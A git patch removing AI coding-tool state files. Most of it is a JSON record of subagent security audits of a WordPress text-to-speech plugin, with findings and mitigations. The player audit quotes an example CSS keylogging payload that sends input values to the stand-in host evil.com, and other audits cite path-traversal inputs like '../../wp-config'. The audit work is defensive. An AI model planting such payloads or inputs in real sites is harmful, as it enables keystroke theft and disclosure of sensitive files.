From fa4ceb85e4c2355ce12076f133fe6043d9b5bbde Mon Sep 17 00:00:00 2001 From: Forkless Date: Sun, 10 May 2026 19:11:37 +0200 Subject: [PATCH] Remove .deepseek and AGENTS.md from repository; add to .gitignore --- .deepseek/instructions.md | 11 --- .deepseek/state/subagents.v1.json | 141 ------------------------------ .gitignore | 2 + AGENTS.md | 19 ---- 4 files changed, 2 insertions(+), 171 deletions(-) delete mode 100644 .deepseek/instructions.md delete mode 100644 .deepseek/state/subagents.v1.json delete mode 100644 AGENTS.md diff --git a/.deepseek/instructions.md b/.deepseek/instructions.md deleted file mode 100644 index c168206..0000000 --- a/.deepseek/instructions.md +++ /dev/null @@ -1,11 +0,0 @@ -# Project Structure (Auto-generated) - -> This file was automatically generated by DeepSeek TUI. -> You can edit or delete it at any time. - -**Summary:** Unknown project type - -**Tree:** -``` - -``` \ No newline at end of file diff --git a/.deepseek/state/subagents.v1.json b/.deepseek/state/subagents.v1.json deleted file mode 100644 index 4b3927d..0000000 --- a/.deepseek/state/subagents.v1.json +++ /dev/null @@ -1,141 +0,0 @@ -{ - "schema_version": 1, - "agents": [ - { - "id": "agent_09fc3bdb", - "agent_type": "general", - "prompt": "Read includes/class-cache-manager.php and audit for security. Check:\n1. Command injection - all exec() calls use escapeshellarg() properly\n2. Path traversal - can cache keys escape the cache directory?\n3. File operations - are permissions checked before reading/writing?\n4. Input validation in get_entries, delete, clear methods\n5. Any use of eval(), system(), passthru()?\n\nReport every finding with line numbers.", - "assignment": { - "objective": "Read includes/class-cache-manager.php and audit for security. Check:\n1. Command injection - all exec() calls use escapeshellarg() properly\n2. Path traversal - can cache keys escape the cache directory?\n3. File operations - are permissions checked before reading/writing?\n4. Input validation in get_entries, delete, clear methods\n5. Any use of eval(), system(), passthru()?\n\nReport every finding with line numbers." - }, - "model": "deepseek-v4-pro", - "nickname": "座头鲸", - "status": "Completed", - "result": "Now I have a comprehensive view of the entire file. Let me compile the security audit.\n\n---\n\n### SUMMARY\n\nAudited `includes/class-cache-manager.php` (663 lines) against 5 security categories. The single `exec()` call is properly escaped with `escapeshellarg()` on all arguments — no command injection risk. No `eval()`, `system()`, or `passthru()` calls exist. The primary finding is a **path traversal vulnerability**: the `file_path()`, `get()`, `delete()`, `exists()`, and `delete_entry()` methods all accept an unvalidated `$cache_key` string and concatenate it directly into filesystem paths, allowing `../` escapes. Cache keys are supposed to be SHA-256 hex digests, but no enforcement exists in this class. Secondary findings include absent `is_readable()`/`is_writable()` checks before file I/O, heavy use of `@` error suppression, and a logic mismatch in `clear_orphans()` (it deletes disabled entries, not just orphans).\n\n---\n\n### EVIDENCE\n\n- `includes/class-cache-manager.php:113` — `file_path()`: `$this->cache_dir . '/' . $cache_key . '.' . $format` — no validation of `$cache_key`\n- `includes/class-cache-manager.php:105` — `exists()`: direct concat `$this->cache_dir . '/' . $cache_key . '.wav'` — no validation\n- `includes/class-cache-manager.php:157-173` — `put()`: `sprintf()` builds command with `escapeshellarg()` on all 4 args (`$ffmpeg`, `$wav_tmp`, `$bitrate`, `$out_path`)\n- `includes/class-cache-manager.php:176` — sole `exec($cmd, $output, $ret)` call\n- `includes/class-cache-manager.php:137-141` — `$ffmpeg` from `find_ffmpeg()`, `$bitrate` from WordPress options (unescaped source, but escaped in shell)\n- `includes/class-cache-manager.php:227` — `file_get_contents($path)` — no `is_readable()` check\n- `includes/class-cache-manager.php:148,198` — `file_put_contents()` — no `is_writable()` check (but uses `LOCK_EX`)\n- `includes/class-cache-manager.php:243,253,261` — `unlink()` in `delete()` — no permission check\n- `includes/class-cache-manager.php:293,301,309,360` — `unlink()` in `flush()` and `clear_orphans()` — no permission check\n- `includes/class-cache-manager.php:479` — `get_entries($page, $per_page, $sort_by, $sort_asc)` — `$sort_by` string not whitelisted\n- `includes/class-cache-manager.php:327-342` — `clear_orphans()` deletes on `! $entry['enabled']` rather than `$entry['orphaned']`\n- `includes/class-cache-manager.php:438` — `find_ffmpeg()`: `@file_exists($custom) && @is_executable($custom)` — `@` suppresses errors on user-supplied binary path\n- `includes/class-cache-manager.php:449` — `apply_filters('piperless_ffmpeg_paths', [...])` — filterable path injection surface\n- `includes/class-cache-manager.php:656,659` — `file_put_contents()` for `.htaccess` / `index.php` — no `LOCK_EX`, no permission check, `@` suppressed\n- Grep for `eval\\(|system\\(|passthru\\(|shell_exec\\(|popen\\(|proc_open\\(|pcntl_exec\\(` — zero matches outside the docblock comment on line 28\n- Grep for `is_readable|is_writable` — zero matches\n- Grep for `ctype_xdigit|preg_match.*cache_key|realpath.*cache_key` — zero matches (only a docblock mention of \"validates cache keys\" at line 45)\n\n---\n\n### CHANGES\n\nNone.\n\n---\n\n### RISKS\n\n- **Path traversal in `$cache_key` (MEDIUM)**: `file_path()`, `get()`, `delete()`, `exists()`, and `delete_entry()` all build paths via `$this->cache_dir . '/' . $cache_key . '.' . $format` without validating the key. A caller passing `../../wp-config` as the cache key could read, delete, or check existence of arbitrary files outside the cache directory. While internal callers like `put()` use the output of `cache_key()` (SHA-256), the public methods are callable from REST/AJAX handlers that may not sanitize. Mitigation: add `ctype_xdigit($cache_key) && strlen($cache_key) === 64` guard at the top of any method that accepts a cache key, or wrap with `basename($cache_key)`.\n\n- **`$sort_by` not whitelisted in `get_entries()` (LOW)**: `get_entries()` at line 479 accepts a `string $sort_by` parameter but only checks `if ('size' === $sort_by)`, defaulting to date sort otherwise. Any other value is accepted silently. While not directly exploitable (it only affects `usort` comparison, not SQL), it's an input-validation gap. Mitigation: whitelist to `['created', 'size']` and reject or default on unknown values.\n\n- **`clear_orphans()` deletes disabled entries, not just orphans (MEDIUM behavioral)**: At line 340, the condition `if (! $entry['enabled'])` causes deletion of any entry not currently set as the active audio for its post, including entries still referenced by post meta but simply not the \"active\" one. This misaligns with the method name and docblock. An admin expecting only unreferenced files to be deleted may lose valid cached audio. Mitigation: change condition to `if ($entry['orphaned'])` or add a separate `clear_disabled()` method.\n\n- **`$bitrate` from settings passed to `escapeshellarg()` then `exec()` (LOW)**: Lines 139-141 read bitrate from `piper_opus_bitrate` / `piper_mp3_bitrate` WordPress options. While `escapeshellarg()` prevents command injection, a deliberately malformed bitrate value (e.g., `1024k --some-dangerous-ffmpeg-flag`) would still be passed as an argument to ffmpeg. ffmpeg would likely reject it, but defense-in-depth suggests validating the format. Mitigation: add `preg_match('/^\\d+k$/', $bitrate)` validation.\n\n- **`apply_filters` for ffmpeg paths (LOW)**: Line 449 allows any plugin/theme to inject arbitrary binary paths via the `piperless_ffmpeg_paths` filter. While `escapeshellarg()` and the `is_executable()` check provide some protection, a malicious plugin could supply a path to a non-ffmpeg binary that performs unintended actions. Mitigation: consider validating that the resolved binary name contains `ffmpeg`.\n\n- **No `is_readable()`/`is_writable()` checks (LOW)**: `file_get_contents()` at line 227, `file_put_contents()` at lines 148/198, and `unlink()` throughout all use `@` suppression rather than explicit permission checks. This can mask filesystem errors and make debugging difficult. Not directly exploitable but poor practice. Mitigation: add `is_readable()`/`is_writable()` guards with proper error logging.\n\n- **`.htaccess` write uses `@` suppression (LOW)**: Lines 656/659 write security-critical files (`.htaccess`, `index.php`) with `@file_put_contents()` — if the write silently fails, the cache directory is left unprotected on Apache. Mitigation: remove `@` and log failures.\n\n---\n\n### BLOCKERS\n\nNone.", - "steps_taken": 13, - "duration_ms": 347823, - "allowed_tools": [], - "updated_at_ms": 1778432808495, - "session_boot_id": "boot_6190b158-023" - }, - { - "id": "agent_43316ca3", - "agent_type": "general", - "prompt": "Read includes/class-player.php and audit for security. Check:\n1. XSS - are all outputs escaped (esc_html, esc_attr, esc_url)?\n2. Input validation\n3. Any direct DB queries?\n\nReport every finding with line numbers.", - "assignment": { - "objective": "Read includes/class-player.php and audit for security. Check:\n1. XSS - are all outputs escaped (esc_html, esc_attr, esc_url)?\n2. Input validation\n3. Any direct DB queries?\n\nReport every finding with line numbers." - }, - "model": "deepseek-v4-pro", - "nickname": "抹香鲸", - "status": "Completed", - "result": "Now I have all the data I need. Let me compile the full security audit.\n\n---\n\n### SUMMARY\n\nAudited `includes/class-player.php` (248 lines). No direct DB queries were found — all data access uses WordPress API functions (`get_option`, `get_post_meta`, `get_the_title`). Most user-controlled output is correctly escaped with `esc_html`, `esc_attr`, or `esc_url`. However, two medium-severity issues were found: (1) raw `$settings['player_custom_css']` is injected into `wp_add_inline_style` with **zero sanitization** (stored CSS injection / XSS vector), and (2) `$style` is interpolated directly into a file path passed to `file_exists()`, enabling **path traversal** / file-existence disclosure. One low-severity bug: `$style_class` is **double-escaped** (`esc_attr` called on an already-escaped string).\n\n---\n\n### EVIDENCE\n\n- `includes/class-player.php:248` — `wp_add_inline_style( 'piperless-player-base', $settings['player_custom_css'] );` — raw user-controlled option injected into inline CSS with no escaping or sanitization\n- `includes/class-player.php:227` — `$theme_file = 'assets/css/player-' . $style . '.css';` — `$style` from `$settings['player_style']` (line 215) or post meta `_piperless_style` (line 136) used directly in a file path\n- `includes/class-player.php:228` — `file_exists( PIPERLESS_PLUGIN_DIR . $theme_file )` — path-traversal-capable path checked for existence on disk\n- `includes/class-player.php:147` — `$style_class = 'piperless-player--' . esc_attr( $style );` — pre-escapes `$style` into a string\n- `includes/class-player.php:146` — `echo esc_attr( $style_class );` — escapes the already-escaped string, causing double-encoding (e.g. `&amp;`)\n- `includes/class-player.php:146-148,150-155,157,160,189` — all other `echo` sites use correct escaping (`esc_attr`, `esc_url`, `esc_html`)\n- `grep_files` for `\\$wpdb|WP_Query|wpdb|query\\(|prepare\\(` — `includes/class-player.php`: 1 match at line 70, which is `is_main_query()` (a WordPress conditional tag, not a DB query)\n\n---\n\n### CHANGES\n\nNone.\n\n---\n\n### RISKS\n\n- **CSS injection → data exfiltration (line 248):** `$settings['player_custom_css']` is stored in `wp_options` and rendered inline for all frontend visitors. An admin (or anyone who can write to plugin settings) can inject arbitrary CSS, which enables attribute-selector-based keylogging (e.g. `input[value^=\"a\"] { background: url(//evil.com/?k=a) }`), phishing via content injection (`::before`/`::after`), and in legacy browsers, script execution via `expression()` or `-moz-binding`. Mitigation: pass through `wp_strip_all_tags()` at minimum, or use a CSS sanitizer library; also enforce that only admins can save settings (likely already the case via `manage_options` cap, but worth verifying in `class-settings.php`).\n\n- **Path traversal / file-existence oracle (lines 227-228):** `$style` is concatenated into a file path unchecked. An attacker who controls the `player_style` option or `_piperless_style` post meta could set it to e.g. `../../wp-config` to probe whether `wp-config.php` or other sensitive files exist (the `file_exists` return value isn't directly surfaced, but the theme CSS either loads or doesn't, which is observable). Mitigation: validate `$style` against an allowlist of known theme slugs before constructing the path.\n\n- **Double-escaped `$style_class` (lines 146-147):** If `$style` contains characters that `esc_attr` transforms (e.g. `&`, `<`), the rendered HTML class will contain double-encoded entities, potentially breaking CSS theme matching. Not a security vulnerability per se, but a correctness bug. Mitigation: remove the inner `esc_attr` on line 147 (keep only the outer one on line 146), or use `sanitize_html_class()` for CSS class construction.\n\n---\n\n### BLOCKERS\n\nNone.", - "steps_taken": 5, - "duration_ms": 325971, - "allowed_tools": [], - "updated_at_ms": 1778432808495, - "session_boot_id": "boot_6190b158-023" - }, - { - "id": "agent_49c69ed2", - "agent_type": "general", - "prompt": "Read includes/class-piper.php and audit for security vulnerabilities. Check:\n1. Command injection - every shell call uses escapeshellarg() not escapeshellcmd()\n2. Path traversal - is the models directory validated? Can an attacker scan arbitrary paths?\n3. open_basedir handling - are filesystem calls properly guarded?\n4. Input validation - are all $_POST params validated?\n5. Process timeout handling\n\nReport every finding with line numbers. Be thorough.", - "assignment": { - "objective": "Read includes/class-piper.php and audit for security vulnerabilities. Check:\n1. Command injection - every shell call uses escapeshellarg() not escapeshellcmd()\n2. Path traversal - is the models directory validated? Can an attacker scan arbitrary paths?\n3. open_basedir handling - are filesystem calls properly guarded?\n4. Input validation - are all $_POST params validated?\n5. Process timeout handling\n\nReport every finding with line numbers. Be thorough." - }, - "model": "deepseek-v4-pro", - "nickname": "Blue", - "status": "Completed", - "result": "Now I have a comprehensive understanding of the entire file. Let me compile the audit report.\n\n---\n\n### SUMMARY\n\nI performed a thorough security audit of `includes/class-piper.php` (~1,075 lines) across five dimensions: command injection, path traversal, open_basedir handling, input validation, and process timeout handling. The codebase shows strong security awareness — all shell arguments are passed through `escapeshellarg()`, the custom `is_path_accessible()` open_basedir guard is well-implemented, and `set_time_limit()` is guarded with a `try/finally` restore. However, I identified **three medium-severity findings**: (1) `synthesise()` does not independently verify the `$model` path against open_basedir or the configured models directory before passing it to the shell, (2) the AJAX model preview endpoint (`ajax_model_preview`) accepts an arbitrary `$_POST['model_path']` guarded only by `sanitize_text_field()` + `file_exists()`, enabling path traversal by admin users, and (3) there is no sub-process timeout — a hung Piper process would block the PHP worker until `max_execution_time` expires.\n\n---\n\n### EVIDENCE\n\n- `includes/class-piper.php:91-137` — `synthesise()`: `$binary` is checked via `is_path_accessible()` at line 99, but `$model` receives only `@file_exists()` at line 109 with no open_basedir or directory-bounds check.\n- `includes/class-piper.php:153-157` — Raw mode command construction: `$extra` (from `extra_flags()`) is interpolated unsanitized into the `sprintf` format string; individually escaped sub-values nonetheless.\n- `includes/class-piper.php:318-320` — Positional mode: `$text` is escaped with `escapeshellarg()`, closing the shell-injection vector for arbitrary text.\n- `includes/class-piper.php:592-593` — `run_help()` uses `exec()` with `escapeshellarg($binary) . ' --help 2>&1'` — `$binary` is escaped, the suffix is hardcoded. No `set_time_limit()` guard.\n- `includes/class-piper.php:606-641` — `is_path_accessible()`: solid string-prefix checking against `open_basedir`, handles non-existent paths by walking up to the nearest existing ancestor. Good implementation.\n- `includes/class-piper.php:751-890` — `scan_models()`: properly gates on `is_path_accessible($dir)` at line 768, uses `RecursiveDirectoryIterator` with `SKIP_DOTS`, catches exceptions. Model paths originate from `getPathname()` on discovered files — trustworthy.\n- `includes/class-piper.php:937-958` — `extra_flags()`: all numeric values (`$silence`, `$length_scale_override`, `$scale`) are validated with `is_numeric()` before being passed to `escapeshellarg()`. Good.\n- `includes/class-settings.php:955-970` — `ajax_model_preview()`: retrieves `$_POST['model_path']` at line 962, applies only `sanitize_text_field()` (does NOT block `../` traversal), then passes to `synthesise()` via `get_model_preview_url()`. Only `file_exists()` guard at line 965.\n- `includes/class-piper.php:114-136` — Timeout handling: `set_time_limit()` in try block, restored in finally. Clamped 30–3600s. Correct.\n- `includes/class-piper.php:197-205` — Raw mode PCM read loop: `fread($pipes[1], 65536)` in a `while(!feof())` loop with no `stream_set_timeout()`. A hung Piper process blocks indefinitely.\n- `includes/class-piper.php:391-457` — `is_valid_model_config()`: no `is_path_accessible()` guard on `$json_path` before `file_exists()`, `filesize()`, `@file_get_contents()`.\n- `includes/class-piper.php:985-1013` — `get_model_sample_rate()`: no `is_path_accessible()` guard on derived `$json_path` before `file_exists()` and `@file_get_contents()`.\n\n---\n\n### CHANGES\n\nNone.\n\n---\n\n### RISKS\n\n1. **`synthesise()` accepts arbitrary `$model` paths (lines 91, 109).** The public method only checks `@file_exists($model)` — it does not verify the path is within the configured models directory or within `open_basedir`. In the normal call chain (`Transcriber::generate()` → `find_model()` → `scan_models()`), the model always comes from the scanned directory, so this is safe in practice. But the method is public and could be called directly by future code. **Mitigation:** add `is_path_accessible($model)` and a `str_starts_with(realpath($model), realpath($models_dir))` check inside `synthesise()`.\n\n2. **`ajax_model_preview()` path traversal via `$_POST['model_path']` (class-settings.php:962-965).** The AJAX handler takes an arbitrary path from the POST body, applies `sanitize_text_field()` (which does not strip `/` or `..`), and passes it to `synthesise()`. An attacker with `manage_options` capability and a valid nonce can point Piper at arbitrary `.onnx` files anywhere on the filesystem that the web server can read. While `escapeshellarg()` prevents command injection, this allows arbitrary file-read via Piper's model loader. **Mitigation:** validate that the submitted path resides inside the configured `models_directory` using `realpath()` comparison, or replace the raw-path parameter with a model index/key from `scan_models()`.\n\n3. **No sub-process timeout on `proc_open` pipes (lines 197-205, 267-280, 340-343).** The `while(!feof($pipes[1]))` read loops have no `stream_set_timeout()` and no periodic `set_time_limit()` refresh. If Piper hangs (e.g., corrupted model, infinite loop), the PHP worker blocks until `max_execution_time` (which was extended up to 3600s). This is a denial-of-service risk — one hung synthesis ties up a PHP-FPM worker for up to an hour. **Mitigation:** call `stream_set_timeout($pipes[1], 0, 500000)` (500ms) on the stdout pipe and check for timeout/metadata in the read loop; or use `proc_terminate()` with a separate timer via `register_tick_function()`.\n\n4. **`run_help()` has no `set_time_limit()` guard (lines 580-596).** The `exec()` call in `run_help()` runs synchronously without any execution time extension. If the Piper binary hangs on `--help`, the PHP worker could hit `max_execution_time` (typically 30s) during admin page loads that trigger `detect_output_mode()`. **Mitigation:** wrap `exec()` in a `set_time_limit(30)` guard, or use `proc_open()` with a timeout so the process can be terminated.\n\n5. **`extra_flags()` `$extra` variable interpolated unsanitized into `sprintf` format (lines 157, 248).** While the individual flag components are individually escaped via `escapeshellarg()`, they are concatenated into `$extra` which is then inserted into the `sprintf` format string with `%s`. If a future developer adds a new flag to `extra_flags()` without escaping it, the injection could go unnoticed because the review surface is split across two methods. **Mitigation:** refactor `extra_flags()` to return an array of `[flag_name => value]` and have the call sites iterate and escape, or add a comment at the `sprintf` call warning that `$extra` must be pre-escaped.\n\n6. **`is_valid_model_config()` and `get_model_sample_rate()` bypass `is_path_accessible()` (lines 398-414, 994-1001).** These methods call `file_exists()`, `filesize()`, and `@file_get_contents()` on `$json_path` without first checking against `open_basedir`. On hosts with `open_basedir` enabled, these calls could trigger PHP warnings or hang on stale NFS mounts. In practice, `$json_path` is always derived from a model path that was discovered by `scan_models()` (which does check `is_path_accessible()`), so the risk is low. **Mitigation:** add `is_path_accessible($json_path)` guards for defense-in-depth.\n\n---\n\n### BLOCKERS\n\nNone.", - "steps_taken": 38, - "duration_ms": 381803, - "allowed_tools": [], - "updated_at_ms": 1778432808495, - "session_boot_id": "boot_6190b158-023" - }, - { - "id": "agent_4f1f50a0", - "agent_type": "general", - "prompt": "Read includes/class-logger.php and audit for security. Check:\n1. File permissions (chmod 0600)\n2. Path traversal in log file location\n3. Any sensitive data logged (API keys, passwords)?\n4. Directory creation safety\n\nReport every finding with line numbers.", - "assignment": { - "objective": "Read includes/class-logger.php and audit for security. Check:\n1. File permissions (chmod 0600)\n2. Path traversal in log file location\n3. Any sensitive data logged (API keys, passwords)?\n4. Directory creation safety\n\nReport every finding with line numbers." - }, - "model": "deepseek-v4-pro", - "nickname": "长须鲸", - "status": "Completed", - "result": "Now I have enough data. Let me compile the full security audit.\n\n---\n\n### SUMMARY\n\nAudited `includes/class-logger.php` (269 lines) and all 11 callers across the plugin. The logger is well-structured with PSR-3 levels, `LOCK_EX` for concurrency safety, `chmod 0600` after every write, and a fallback to `error_log()`. No API keys or passwords are logged anywhere in the codebase. The primary risks are: (1) full shell commands and process stderr/stdout logged at DEBUG level in `class-piper.php`, (2) `log_last_error()` captures PHP error messages that could theoretically leak sensitive data, (3) the `.htaccess` directive is outdated Apache 2.2 syntax and offers no protection on Nginx/IIS/LiteSpeed, and (4) `@chmod` failures are silent. No path traversal vector exists — the log path is derived entirely from `wp_upload_dir()` plus hardcoded components.\n\n---\n\n### EVIDENCE\n\n- `includes/class-logger.php:79-80` — Log path constructed from `wp_upload_dir()['basedir']` + `'piperless/piperless.log'`; no user input.\n- `includes/class-logger.php:164` — `dirname($this->log_file)` used as directory; safe derivation.\n- `includes/class-logger.php:167` — `wp_mkdir_p($dir)` guards directory creation; uses WordPress filesystem API.\n- `includes/class-logger.php:168` — `file_put_contents` with `FILE_APPEND | LOCK_EX`; correct flags.\n- `includes/class-logger.php:172` — `@chmod($this->log_file, 0600)` after every write; good intent but silent on failure.\n- `includes/class-logger.php:247-262` — `log_last_error()` captures `error_get_last()` unconditionally; logs `{type}: {message} in {file}:{line}`.\n- `includes/class-piper.php:158` — `$this->logger->debug('Running (raw mode): {cmd}', ['cmd' => $cmd])` — full shell command logged.\n- `includes/class-piper.php:214-217` — `$this->logger->error('Piper (raw mode) exited with code {code}: {stderr}', ['code' => $exit_code, 'stderr' => $this->strip_alsa_noise($stderr)])` — process stderr logged.\n- `includes/class-piper.php:252` — `$this->logger->debug('Running (file mode): {cmd}', ['cmd' => $cmd])` — full shell command logged.\n- `includes/class-piper.php:281` — stderr logged for file mode failures.\n- `includes/class-piper.php:356` — `$this->strip_alsa_noise($stderr . \"\\n\" . $stdout)` logged for positional mode failures.\n- `includes/class-piper.php:365-370` — stderr+stdout logged as warning on non-zero exit in positional mode.\n- `includes/class-piper.php:468-498` — `strip_alsa_noise()` filters only `ALSA lib` and `aplay:` prefixes; all other stderr/stdout content passes through to the log.\n- `includes/class-piper.php:480-482` — First 120 bytes of model JSON config logged when JSON is invalid; reveals file content.\n- `piperless.php:106-118` — Activation creates `.htaccess` with `\"Deny from all\\n\"` (Apache 2.2 syntax) and `index.php` in the `piperless/` directory.\n- `grep_files` for `api.key|password|secret|token|api_secret` across 11 PHP files — 0 matches in any `->logger->` call; no sensitive credentials logged.\n- `grep_files` for `log_last_error|->emergency\\(|->alert\\(|->critical\\(|->error\\(|->warning\\(|->notice\\(|->info\\(|->debug\\(` — 77 matches across 11 files; reviewed all for sensitive context data — none found beyond paths and post IDs.\n\n---\n\n### CHANGES\n\nNone.\n\n---\n\n### RISKS\n\n- **Silent `@chmod` failure** (`includes/class-logger.php:172`). If the filesystem doesn't support `chmod` (e.g., certain Docker volumes, NFS with root-squash), or the PHP process doesn't own the file, the log file remains with default permissions (often 0644). Since `.htaccess` only works on Apache, a Nginx/IIS/LiteSpeed host where PHP runs as the same user as the web server would expose the log file to direct HTTP access. Mitigation: add a `log_last_error('chmod log file')` call on chmod failure, or place the log outside the web root entirely.\n\n- **Full shell commands logged at DEBUG** (`includes/class-piper.php:158`, `:252`). The `{cmd}` context includes absolute binary paths, model paths, and all CLI flags (sentence silence, length scale, etc.). If an admin enables `debug`-level logging and the log file becomes accessible, the attacker gains a map of installed binaries and their locations. Mitigation: redact binary paths to basenames, or log only the flags without the binary path.\n\n- **Process stderr/stdout logged** (`includes/class-piper.php:214-217`, `:281`, `:356`, `:365-370`). `strip_alsa_noise()` only strips ALSA/aplay noise; all other Piper process output is logged verbatim. If a custom Piper wrapper outputs sensitive data (e.g., environment variables, file contents), it would be captured. Mitigation: truncate stderr to a reasonable length (e.g., first 500 chars) or apply a safelist pattern.\n\n- **`log_last_error()` captures arbitrary PHP errors** (`includes/class-logger.php:247-262`). `error_get_last()` returns whatever PHP error was last generated, including `file` and `line` paths. A PHP warning triggered by a database call could theoretically include a connection string with credentials in the error message. Mitigation: strip the `file` and `line` fields, or redact file paths to relative paths / basenames.\n\n- **Outdated `.htaccess` syntax** (`piperless.php:115`). `\"Deny from all\"` is Apache 2.2; Apache 2.4+ uses `\"Require all denied\"`. While Apache 2.4 still honors the old syntax in `mod_access_compat`, it may be disabled on hardened servers. Mitigation: update to `\"Require all denied\"`.\n\n- **Log directory permissions not hardened** (`includes/class-logger.php:167`). `wp_mkdir_p()` creates directories with default permissions (typically 0755). On shared hosting, the `piperless/` directory is listable by other system users. Combined with the risk above, an attacker who gains shell access as another user could enumerate log entries. Mitigation: `chmod($dir, 0700)` after `wp_mkdir_p()`.\n\n---\n\n### BLOCKERS\n\nNone.", - "steps_taken": 12, - "duration_ms": 325912, - "allowed_tools": [], - "updated_at_ms": 1778432808495, - "session_boot_id": "boot_6190b158-023" - }, - { - "id": "agent_9d95edb1", - "agent_type": "general", - "prompt": "Read includes/class-gutenberg.php and audit for security. Check:\n1. REST endpoints - are nonces checked? Are permissions verified (current_user_can)?\n2. Path traversal - any file paths constructed from user input?\n3. Rate limiting - is it properly implemented?\n4. Cache key validation - regex on the audio proxy key?\n5. XSS in any output\n6. Authorization - does rest_generate and rest_remove_audio check post ownership?\n\nReport every finding with line numbers.", - "assignment": { - "objective": "Read includes/class-gutenberg.php and audit for security. Check:\n1. REST endpoints - are nonces checked? Are permissions verified (current_user_can)?\n2. Path traversal - any file paths constructed from user input?\n3. Rate limiting - is it properly implemented?\n4. Cache key validation - regex on the audio proxy key?\n5. XSS in any output\n6. Authorization - does rest_generate and rest_remove_audio check post ownership?\n\nReport every finding with line numbers." - }, - "model": "deepseek-v4-pro", - "nickname": "Humpback", - "status": "Completed", - "result": "Now I have all the data I need. Let me compile the audit.\n\n---\n\n### SUMMARY\nAudited `includes/class-gutenberg.php` for six security areas: REST nonce/permission checks, path traversal, rate limiting, cache-key validation, XSS, and authorization for `rest_generate`/`rest_remove_audio`. The file registers 5 REST endpoints under `piperless/v1`. The authenticated endpoints (generate, status, models, remove) all use `current_user_can('edit_posts')` at the route level and `current_user_can('edit_post', $post_id)` at the function level — correct. Path traversal is blocked by a strict cache-key regex. Rate limiting is well-structured. The public audio-proxy endpoint uses `die()` instead of returning a proper response, which is a functional smell but not a direct vulnerability. Two medium-severity findings: the `$result['error']` and `$result['url']` from `Transcriber::generate()` are passed to the REST response and JS without sanitization, creating potential stored-XSS and phishing vectors if the Transcriber returns attacker-controlled values.\n\n### EVIDENCE\n\n- `includes/class-gutenberg.php:251-337` — `register_rest_routes()`: registers 5 endpoints. Audio proxy `/audio` uses `__return_true` (public); generate/status/models/remove use `current_user_can('edit_posts')`; no explicit nonce checks present.\n- `includes/class-gutenberg.php:218` — `wp_create_nonce('wp_rest')` passed to JS via `wp_localize_script`; WordPress REST API cookie auth handles nonce validation automatically.\n- `includes/class-gutenberg.php:341-376` — `rest_generate()`: calls `current_user_can('edit_post', $post_id)` at line 347 inside the callback (in addition to route-level check). Passes `$result['error']` directly to `WP_Error` at line 360. Passes `$result['url']` to `rest_ensure_response` at line 366.\n- `includes/class-gutenberg.php:378-390` — `rest_status()`: calls `current_user_can('edit_post', $post_id)` at line 381. Returns `$this->transcriber->status($post_id)` directly via `rest_ensure_response` at line 389.\n- `includes/class-gutenberg.php:442-471` — `rest_remove_audio()`: calls `current_user_can('edit_post', $post_id)` at line 445. Uses cache keys from post meta for file deletion at lines 454-460.\n- `includes/class-gutenberg.php:483-531` — `rest_serve_audio()`: `sanitize_text_field` at line 484, regex `/^[a-zA-Z0-9_-]+$/` at line 487, rate limiting at lines 492-506, WAV fallback path construction at line 526 `$this->cache->dir() . '/' . $cache_key . '.wav'`.\n- `includes/class-gutenberg.php:541-600` — `stream_file()`: calls `header()`, `echo`, `die()` directly, bypassing normal REST response lifecycle. Reads `$_SERVER['HTTP_RANGE']` at line 556, validated by regex `/bytes=(\\d*)-(\\d*)/` at line 559.\n- `includes/class-gutenberg.php:397-438` — `rest_models()`: uses `basename($m['path'])` at line 425 to strip filesystem paths from model data exposed to the frontend.\n- `includes/class-gutenberg.php:111-116` — `_piperless_audio_url` post meta registered with `show_in_rest: true` and `auth_callback` requiring `edit_posts`.\n\n### CHANGES\nNone.\n\n### RISKS\n\n- **`$result['error']` reflected without sanitization** (`includes/class-gutenberg.php:360`): The Transcriber's `generate()` return value `$result['error']` is passed directly to `new WP_Error(...)`. If the Transcriber stores an error message containing HTML/JS (e.g., from a compromised upstream Piper process, or a malicious model name), it becomes a stored-XSS vector when the REST error response is rendered in the block editor's error display. Mitigation: apply `wp_strip_all_tags()` or `esc_html()` to `$result['error']` before passing to `WP_Error`.\n\n- **`$result['url']` passed to frontend without validation** (`includes/class-gutenberg.php:366`): The URL from the Transcriber is returned in the REST response and later rendered in the editor's audio preview panel. If the Transcriber returns a `javascript:` or `data:` URL, or an external phishing URL, this creates a stored-XSS or phishing vector. Mitigation: validate that `$result['url']` matches the expected `piperless/v1/audio?...` proxy URL pattern, or at minimum use `esc_url()` on the JS side.\n\n- **`stream_file()` exits with `die()` bypassing WP shutdown** (`includes/class-gutenberg.php:599-600`): Calling `die()` inside a REST endpoint callback means WordPress shutdown hooks (`shutdown` action, object-cache persistence, etc.) do not run. This is a functional defect rather than a direct vulnerability, but could lead to subtle state corruption (e.g., transients not written, sessions not closed). Mitigation: refactor to use `wp_send_file()` or `WP_REST_Response` with a file-stream callback that does not terminate execution.\n\n- **`rest_serve_audio` WAV fallback bypasses `Cache_Manager::file_path()`** (`includes/class-gutenberg.php:526`): The string concatenation `$this->cache->dir() . '/' . $cache_key . '.wav'` does not use `$this->cache->file_path()`. If `file_path()` applies additional sanitization, normalization, or directory checks beyond the regex, this fallback circumvents them. The risk is low because the regex enforces `[a-zA-Z0-9_-]+`, but future changes to `file_path()` would not cover this path. Mitigation: route this through `$this->cache->file_path($cache_key, 'wav')` consistently.\n\n### BLOCKERS\nNone.", - "steps_taken": 13, - "duration_ms": 356265, - "allowed_tools": [], - "updated_at_ms": 1778432808495, - "session_boot_id": "boot_6190b158-023" - }, - { - "id": "agent_b60fe055", - "agent_type": "general", - "prompt": "Read includes/class-transcriber.php and audit for security. Check:\n1. Command injection in ffprobe and ffmpeg calls\n2. SQL injection in any wpdb queries\n3. Path traversal in file operations (wav_duration, ffprobe_duration)\n4. Input validation in generate() parameters\n5. Post meta handling - any unserialize() risks?\n6. Mutex transient handling\n\nReport every finding with line numbers.", - "assignment": { - "objective": "Read includes/class-transcriber.php and audit for security. Check:\n1. Command injection in ffprobe and ffmpeg calls\n2. SQL injection in any wpdb queries\n3. Path traversal in file operations (wav_duration, ffprobe_duration)\n4. Input validation in generate() parameters\n5. Post meta handling - any unserialize() risks?\n6. Mutex transient handling\n\nReport every finding with line numbers." - }, - "model": "deepseek-v4-pro", - "nickname": "Sperm", - "status": "Running", - "result": null, - "steps_taken": 0, - "duration_ms": 339821, - "allowed_tools": [], - "updated_at_ms": 1778432808495, - "session_boot_id": "boot_6190b158-023" - }, - { - "id": "agent_d8364840", - "agent_type": "general", - "prompt": "Read includes/class-settings.php and audit for security vulnerabilities. Check:\n1. AJAX handlers - are nonces verified? Are capabilities checked?\n2. 